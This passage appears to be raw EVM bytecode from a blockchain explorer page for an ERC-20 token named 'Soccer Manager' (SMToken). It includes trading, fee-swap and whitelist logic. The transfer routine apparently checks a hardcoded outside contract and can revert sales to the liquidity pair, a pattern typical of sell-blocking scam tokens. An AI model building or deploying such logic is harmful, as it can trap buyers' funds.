be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611c9b9190612292565b60405180910390a3505050505050565b6001600a60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ce357611ce26123c0565b5b604051908082528060200260200182016040528015611d115781602001602082028036833780820191505090505b5090503081600081518110611d2957611d28612764565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611dd0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611df49190612620565b81600181518110611e0857611e07612764565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611e6f30600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611197565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611ed3959493929190612d7e565b600060405180830381600087803b158015611eed57600080fd5b505af1158015611f01573d6000803e3d6000fd5b50505050506000600a60156101000a81548160ff02191690831515021790555050565b60008083118290611f6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f629190612143565b60405180910390fd5b5060008385611f7a9190612e07565b9050809150509392505050565b600080831415611f9a5760009050611ffc565b60008284611fa89190612e38565b9050828482611fb79190612e07565b14611ff7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fee90612f04565b60405180910390fd5b809150505b92915050565b600061204483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061196e565b905092915050565b600080828461205b9190612f24565b9050838110156120a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161209790612fc6565b60405180910390fd5b8091505092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156120e45780820151818401526020810190506120c9565b838111156120f3576000848401525b50505050565b6000601f19601f8301169050919050565b6000612115826120aa565b61211f81856120b5565b935061212f8185602086016120c6565b612138816120f9565b840191505092915050565b6000602082019050818103600083015261215d818461210a565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006121a482612179565b9050919050565b6121b481612199565b81146121bf57600080fd5b50565b6000813590506121d1816121ab565b92915050565b6000819050919050565b6121ea816121d7565b81146121f557600080fd5b50565b600081359050612207816121e1565b92915050565b600080604083850312156122245761222361216f565b5b6000612232858286016121c2565b9250506020612243858286016121f8565b9150509250929050565b60008115159050919050565b6122628161224d565b82525050565b600060208201905061227d6000830184612259565b92915050565b61228c816121d7565b82525050565b60006020820190506122a76000830184612283565b92915050565b6000806000606084860312156122c6576122c561216f565b5b60006122d4868287016121c2565b93505060206122e5868287016121c2565b92505060406122f6868287016121f8565b9150509250925092565b600060ff82169050919050565b61231681612300565b82525050565b6000602082019050612331600083018461230d565b92915050565b60006020828403121561234d5761234c61216f565b5b600061235b848285016121c2565b91505092915050565b61236d81612199565b82525050565b60006020820190506123886000830184612364565b92915050565b6000602082840312156123a4576123a361216f565b5b60006123b2848285016121f8565b91505092915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6123f8826120f9565b810181811067ffffffffffffffff82111715612417576124166123c0565b5b80604052505050565b600061242a612165565b905061243682826123ef565b919050565b600067ffffffffffffffff821115612456576124556123c0565b5b602082029050602081019050919050565b600080fd5b600061247f61247a8461243b565b612420565b905080838252602082019050602084028301858111156124a2576124a1612467565b5b835b818110156124cb57806124b788826121c2565b8452602084019350506020810190506124a4565b5050509392505050565b600082601f8301126124ea576124e96123bb565b5b81356124fa84826020860161246c565b91505092915050565b6000806040838503121561251a5761251961216f565b5b600083013567ffffffffffffffff81111561253857612537612174565b5b612544858286016124d5565b9250506020612555858286016121f8565b9150509250929050565b600080604083850312156125765761257561216f565b5b6000612584858286016121c2565b9250506020612595858286016121c2565b9150509250929050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006125d56017836120b5565b91506125e08261259f565b602082019050919050565b60006020820190508181036000830152612604816125c8565b9050919050565b60008151905061261a816121ab565b92915050565b6000602082840312156126365761263561216f565b5b60006126448482850161260b565b91505092915050565b60006040820190506126626000830185612364565b61266f6020830184612364565b9392505050565b600060408201905061268b6000830185612364565b6126986020830184612283565b9392505050565b6126a88161224d565b81146126b357600080fd5b50565b6000815190506126c58161269f565b92915050565b6000602082840312156126e1576126e061216f565b5b60006126ef848285016126b6565b91505092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061272e6020836120b5565b9150612739826126f8565b602082019050919050565b6000602082019050818103600083015261275d81612721565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006127cd826121d7565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612800576127ff612793565b5b600182019050919050565b6000819050919050565b6000819050919050565b600061283a6128356128308461280b565b612815565b6121d7565b9050919050565b61284a8161281f565b82525050565b600060c0820190506128656000830189612364565b6128726020830188612283565b61287f6040830187612841565b61288c6060830186612841565b6128996080830185612364565b6128a660a0830184612283565b979650505050505050565b6000815190506128c0816121e1565b92915050565b6000806000606084860312156128df576128de61216f565b5b60006128ed868287016128b1565b93505060206128fe868287016128b1565b925050604061290f868287016128b1565b9150509250925092565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006129756024836120b5565b915061298082612919565b604082019050919050565b600060208201905081810360008301526129a481612968565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612a076022836120b5565b9150612a12826129ab565b604082019050919050565b60006020820190508181036000830152612a36816129fa565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612a996025836120b5565b9150612aa482612a3d565b604082019050919050565b60006020820190508181036000830152612ac881612a8c565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612b2b6023836120b5565b9150612b3682612acf565b604082019050919050565b60006020820190508181036000830152612b5a81612b1e565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612bbd6029836120b5565b9150612bc882612b61565b604082019050919050565b60006020820190508181036000830152612bec81612bb0565b9050919050565b600060208284031215612c0957612c0861216f565b5b6000612c17848285016128b1565b91505092915050565b7f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000600082015250565b6000612c56601a836120b5565b9150612c6182612c20565b602082019050919050565b60006020820190508181036000830152612c8581612c49565b9050919050565b6000612c97826121d7565b9150612ca2836121d7565b925082821015612cb557612cb4612793565b5b828203905092915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612cf581612199565b82525050565b6000612d078383612cec565b60208301905092915050565b6000602082019050919050565b6000612d2b82612cc0565b612d358185612ccb565b9350612d4083612cdc565b8060005b83811015612d71578151612d588882612cfb565b9750612d6383612d13565b925050600181019050612d44565b5085935050505092915050565b600060a082019050612d936000830188612283565b612da06020830187612841565b8181036040830152612db28186612d20565b9050612dc16060830185612364565b612dce6080830184612283565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612e12826121d7565b9150612e1d836121d7565b925082612e2d57612e2c612dd8565b5b828204905092915050565b6000612e43826121d7565b9150612e4e836121d7565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612e8757612e86612793565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612eee6021836120b5565b9150612ef982612e92565b604082019050919050565b60006020820190508181036000830152612f1d81612ee1565b9050919050565b6000612f2f826121d7565b9150612f3a836121d7565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612f6f57612f6e612793565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612fb0601b836120b5565b9150612fbb82612f7a565b602082019050919050565b60006020820190508181036000830152612fdf81612fa3565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202522830bb0101c818d1f0313bddbb1cca2fe82b195d035509efd79246beaca4664736f6c634300080b0033

Deployed Bytecode

0x6080604052600436106101235760003560e01c80638ab1d681116100a0578063c204642c11610064578063c204642c146103a8578063d49b55d6146103d1578063dd62ed3e146103e8578063e43252d714610425578063e8078d941461044e5761012a565b80638ab1d681146102c35780638da5cb5b146102ec57806395d89b41146103175780639e752b9514610342578063a9059cbb1461036b5761012a565b80633d8705ab116100e75780633d8705ab1461022a5780633e07ce5b146102415780634a1316721461025857806370a082311461026f578063715018a6146102ac5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd1461019757806323b872dd146101c2578063313ce567146101ff5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610465565b6040516101519190612143565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c919061220d565b6104a2565b60405161018e9190612268565b60405180910390f35b3480156101a357600080fd5b506101ac6104c0565b6040516101b99190612292565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e491906122ad565b6104ca565b6040516101f69190612268565b60405180910390f35b34801561020b57600080fd5b506102146105a3565b604051610221919061231c565b60405180910390f35b34801561023657600080fd5b5061023f6105ac565b005b34801561024d57600080fd5b5061025661061e565b005b34801561026457600080fd5b5061026d61068a565b005b34801561027b57600080fd5b5061029660048036038101906102919190612337565b610a2d565b6040516102a39190612292565b60405180910390f35b3480156102b857600080fd5b506102c1610a76565b005b3480156102cf57600080fd5b506102ea60048036038101906102e59190612337565b610bc9565b005b3480156102f857600080fd5b50610301610c85565b60405161030e9190612373565b60405180910390f35b34801561032357600080fd5b5061032c610cae565b6040516103399190612143565b60405180910390f35b34801561034e57600080fd5b506103696004803603810190610364919061238e565b610ceb565b005b34801561037757600080fd5b50610392600480360381019061038d919061220d565b610d63565b60405161039f9190612268565b60405180910390f35b3480156103b457600080fd5b506103cf60048036038101906103ca9190612503565b610d81565b005b3480156103dd57600080fd5b506103e6610e33565b005b3480156103f457600080fd5b5061040f600480360381019061040a919061255f565b610ead565b60405161041c9190612292565b60405180910390f35b34801561043157600080fd5b5061044c60048036038101906104479190612337565b610f34565b005b34801561045a57600080fd5b50610463610ff0565b005b60606040518060400160405280600e81526020017f536f63636572204d616e61676572000000000000000000000000000000000000815250905090565b60006104b66104af61118f565b8484611197565b6001905092915050565b6000600554905090565b60006104d7848484611362565b610598846104e361118f565b61059385604051806060016040528060288152602001612fe760289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061054961118f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461196e9092919063ffffffff16565b611197565b600190509392505050565b60006006905090565b6105b461118f565b73ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461060d57600080fd5b600047905061061b816119d2565b50565b61062661118f565b73ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461067f57600080fd5b600554600881905550565b61069261118f565b73ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106eb57600080fd5b600a60149054906101000a900460ff161561073b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610732906125eb565b60405180910390fd5b61076a30600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600554611197565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107fb9190612620565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a89190612620565b6040518363ffffffff1660e01b81526004016108c592919061264d565b6020604051808303816000875af11580156108e4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109089190612620565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016109e7929190612676565b6020604051808303816000875af1158015610a06573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a2a91906126cb565b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610a7e61118f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0290612744565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610bd161118f565b73ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c2a57600080fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f534d546f6b656e00000000000000000000000000000000000000000000000000815250905090565b610cf361118f565b73ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d4c57600080fd5b60098110610d5957600080fd5b8060068190555050565b6000610d77610d7061118f565b8484611362565b6001905092915050565b610d8961118f565b73ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610de257600080fd5b60008251905060005b81811015610e2d57610e1a30858381518110610e0a57610e09612764565b5b6020026020010151856000611a3e565b8080610e25906127c2565b915050610deb565b50505050565b610e3b61118f565b73ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9457600080fd5b6000610e9f30610a2d565b9050610eaa81611cab565b50565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f3c61118f565b73ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f9557600080fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ff861118f565b73ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461105157600080fd5b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061109a30610a2d565b6000806110a5610c85565b426040518863ffffffff1660e01b81526004016110c796959493929190612850565b60606040518083038185885af11580156110e5573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061110a91906128c6565b5050506001600a60166101000a81548160ff0219169083151502179055506001600a60146101000a81548160ff021916908315150217905550565b600061118783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611f24565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611207576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111fe9061298b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611277576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126e90612a1d565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113559190612292565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c990612aaf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611442576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143990612b41565b60405180910390fd5b60008111611485576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147c90612bd3565b60405180910390fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166116285773272dd614cc4f4a58dc85cebe70c941de62cd4aba73ffffffffffffffffffffffffffffffffffffffff1663b9f0bf66306040518263ffffffff1660e01b81526004016115239190612373565b602060405180830381865afa158015611540573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115649190612bf3565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561160f5750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b61161a57600061161c565b815b111561162757600080fd5b5b611630610c85565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561169e575061166e610c85565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156118ae57600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561174e5750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117a45750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156117ee5760085481106117ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117e490612c6c565b60405180910390fd5b5b60006117f930610a2d565b9050600a60159054906101000a900460ff161580156118665750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561187e5750600a60169054906101000a900460ff165b156118ac5761188c81611cab565b6000479050670de0b6b3a764000081106118aa576118a9476119d2565b5b505b505b611969838383600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806119555750600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61196157600654611964565b60005b611a3e565b505050565b60008383111582906119b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ad9190612143565b60405180910390fd5b50600083856119c59190612c8c565b9050809150509392505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611a3a573d6000803e3d6000fd5b5050565b6000611a666064611a588486611f8790919063ffffffff16565b61114590919063ffffffff16565b90506000611a7d828561200290919063ffffffff16565b9050611ad184600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461200290919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b6681600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461204c90919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611bfb82600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461204c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611c9b9190612292565b60405180910390a3505050505050565b6001600a60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ce357611ce26123c0565b5b604051908082528060200260200182016040528015611d115781602001602082028036833780820191505090505b5090503081600081518110611d2957611d28612764565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611dd0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611df49190612620565b81600181518110611e0857611e07612764565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611e6f30600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611197565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611ed3959493929190612d7e565b600060405180830381600087803b158015611eed57600080fd5b505af1158015611f01573d6000803e3d6000fd5b50505050506000600a60156101000a81548160ff02191690831515021790555050565b60008083118290611f6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f629190612143565b60405180910390fd5b5060008385611f7a9190612e07565b9050809150509392505050565b600080831415611f9a5760009050611ffc565b60008284611fa89190612e38565b9050828482611fb79190612e07565b14611ff7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fee90612f04565b60405180910390fd5b809150505b92915050565b600061204483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061196e565b905092915050565b600080828461205b9190612f24565b9050838110156120a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161209790612fc6565b60405180910390fd5b8091505092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156120e45780820151818401526020810190506120c9565b838111156120f3576000848401525b50505050565b6000601f19601f8301169050919050565b6000612115826120aa565b61211f81856120b5565b935061212f8185602086016120c6565b612138816120f9565b840191505092915050565b6000602082019050818103600083015261215d818461210a565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006121a482612179565b9050919050565b6121b481612199565b81146121bf57600080fd5b50565b6000813590506121d1816121ab565b92915050565b6000819050919050565b6121ea816121d7565b81146121f557600080fd5b50565b600081359050612207816121e1565b92915050565b600080604083850312156122245761222361216f565b5b6000612232858286016121c2565b9250506020612243858286016121f8565b9150509250929050565b60008115159050919050565b6122628161224d565b82525050565b600060208201905061227d6000830184612259565b92915050565b61228c816121d7565b82525050565b60006020820190506122a76000830184612283565b92915050565b6000806000606084860312156122c6576122c561216f565b5b60006122d4868287016121c2565b93505060206122e5868287016121c2565b92505060406122f6868287016121f8565b9150509250925092565b600060ff82169050919050565b61231681612300565b82525050565b6000602082019050612331600083018461230d565b92915050565b60006020828403121561234d5761234c61216f565b5b600061235b848285016121c2565b91505092915050565b61236d81612199565b82525050565b60006020820190506123886000830184612364565b92915050565b6000602082840312156123a4576123a361216f565b5b60006123b2848285016121f8565b91505092915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6123f8826120f9565b810181811067ffffffffffffffff82111715612417576124166123c0565b5b80604052505050565b600061242a612165565b905061243682826123ef565b919050565b600067ffffffffffffffff821115612456576124556123c0565b5b602082029050602081019050919050565b600080fd5b600061247f61247a8461243b565b612420565b905080838252602082019050602084028301858111156124a2576124a1612467565b5b835b818110156124cb57806124b788826121c2565b8452602084019350506020810190506124a4565b5050509392505050565b600082601f8301126124ea576124e96123bb565b5b81356124fa84826020860161246c565b91505092915050565b6000806040838503121561251a5761251961216f565b5b600083013567ffffffffffffffff81111561253857612537612174565b5b612544858286016124d5565b9250506020612555858286016121f8565b9150509250929050565b600080604083850312156125765761257561216f565b5b6000612584858286016121c2565b9250506020612595858286016121c2565b9150509250929050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006125d56017836120b5565b91506125e08261259f565b602082019050919050565b60006020820190508181036000830152612604816125c8565b9050919050565b60008151905061261a816121ab565b92915050565b6000602082840312156126365761263561216f565b5b60006126448482850161260b565b91505092915050565b60006040820190506126626000830185612364565b61266f6020830184612364565b9392505050565b600060408201905061268b6000830185612364565b6126986020830184612283565b9392505050565b6126a88161224d565b81146126b357600080fd5b50565b6000815190506126c58161269f565b92915050565b6000602082840312156126e1576126e061216f565b5b60006126ef848285016126b6565b91505092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061272e6020836120b5565b9150612739826126f8565b602082019050919050565b6000602082019050818103600083015261275d81612721565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006127cd826121d7565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612800576127ff612793565b5b600182019050919050565b6000819050919050565b6000819050919050565b600061283a6128356128308461280b565b612815565b6121d7565b9050919050565b61284a8161281f565b82525050565b600060c0820190506128656000830189612364565b6128726020830188612283565b61287f6040830187612841565b61288c6060830186612841565b6128996080830185612364565b6128a660a0830184612283565b979650505050505050565b6000815190506128c0816121e1565b92915050565b6000806000606084860312156128df576128de61216f565b5b60006128ed868287016128b1565b93505060206128fe868287016128b1565b925050604061290f868287016128b1565b9150509250925092565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006129756024836120b5565b915061298082612919565b604082019050919050565b600060208201905081810360008301526129a481612968565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612a076022836120b5565b9150612a12826129ab565b604082019050919050565b60006020820190508181036000830152612a36816129fa565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612a996025836120b5565b9150612aa482612a3d565b604082019050919050565b60006020820190508181036000830152612ac881612a8c565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612b2b6023836120b5565b9150612b3682612acf565b604082019050919050565b60006020820190508181036000830152612b5a81612b1e565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612bbd6029836120b5565b9150612bc882612b61565b604082019050919050565b60006020820190508181036000830152612bec81612bb0565b9050919050565b600060208284031215612c0957612c0861216f565b5b6000612c17848285016128b1565b91505092915050565b7f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000600082015250565b6000612c56601a836120b5565b9150612c6182612c20565b602082019050919050565b60006020820190508181036000830152612c8581612c49565b9050919050565b6000612c97826121d7565b9150612ca2836121d7565b925082821015612cb557612cb4612793565b5b828203905092915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612cf581612199565b82525050565b6000612d078383612cec565b60208301905092915050565b6000602082019050919050565b6000612d2b82612cc0565b612d358185612ccb565b9350612d4083612cdc565b8060005b83811015612d71578151612d588882612cfb565b9750612d6383612d13565b925050600181019050612d44565b5085935050505092915050565b600060a082019050612d936000830188612283565b612da06020830187612841565b8181036040830152612db28186612d20565b9050612dc16060830185612364565b612dce6080830184612283565b9695505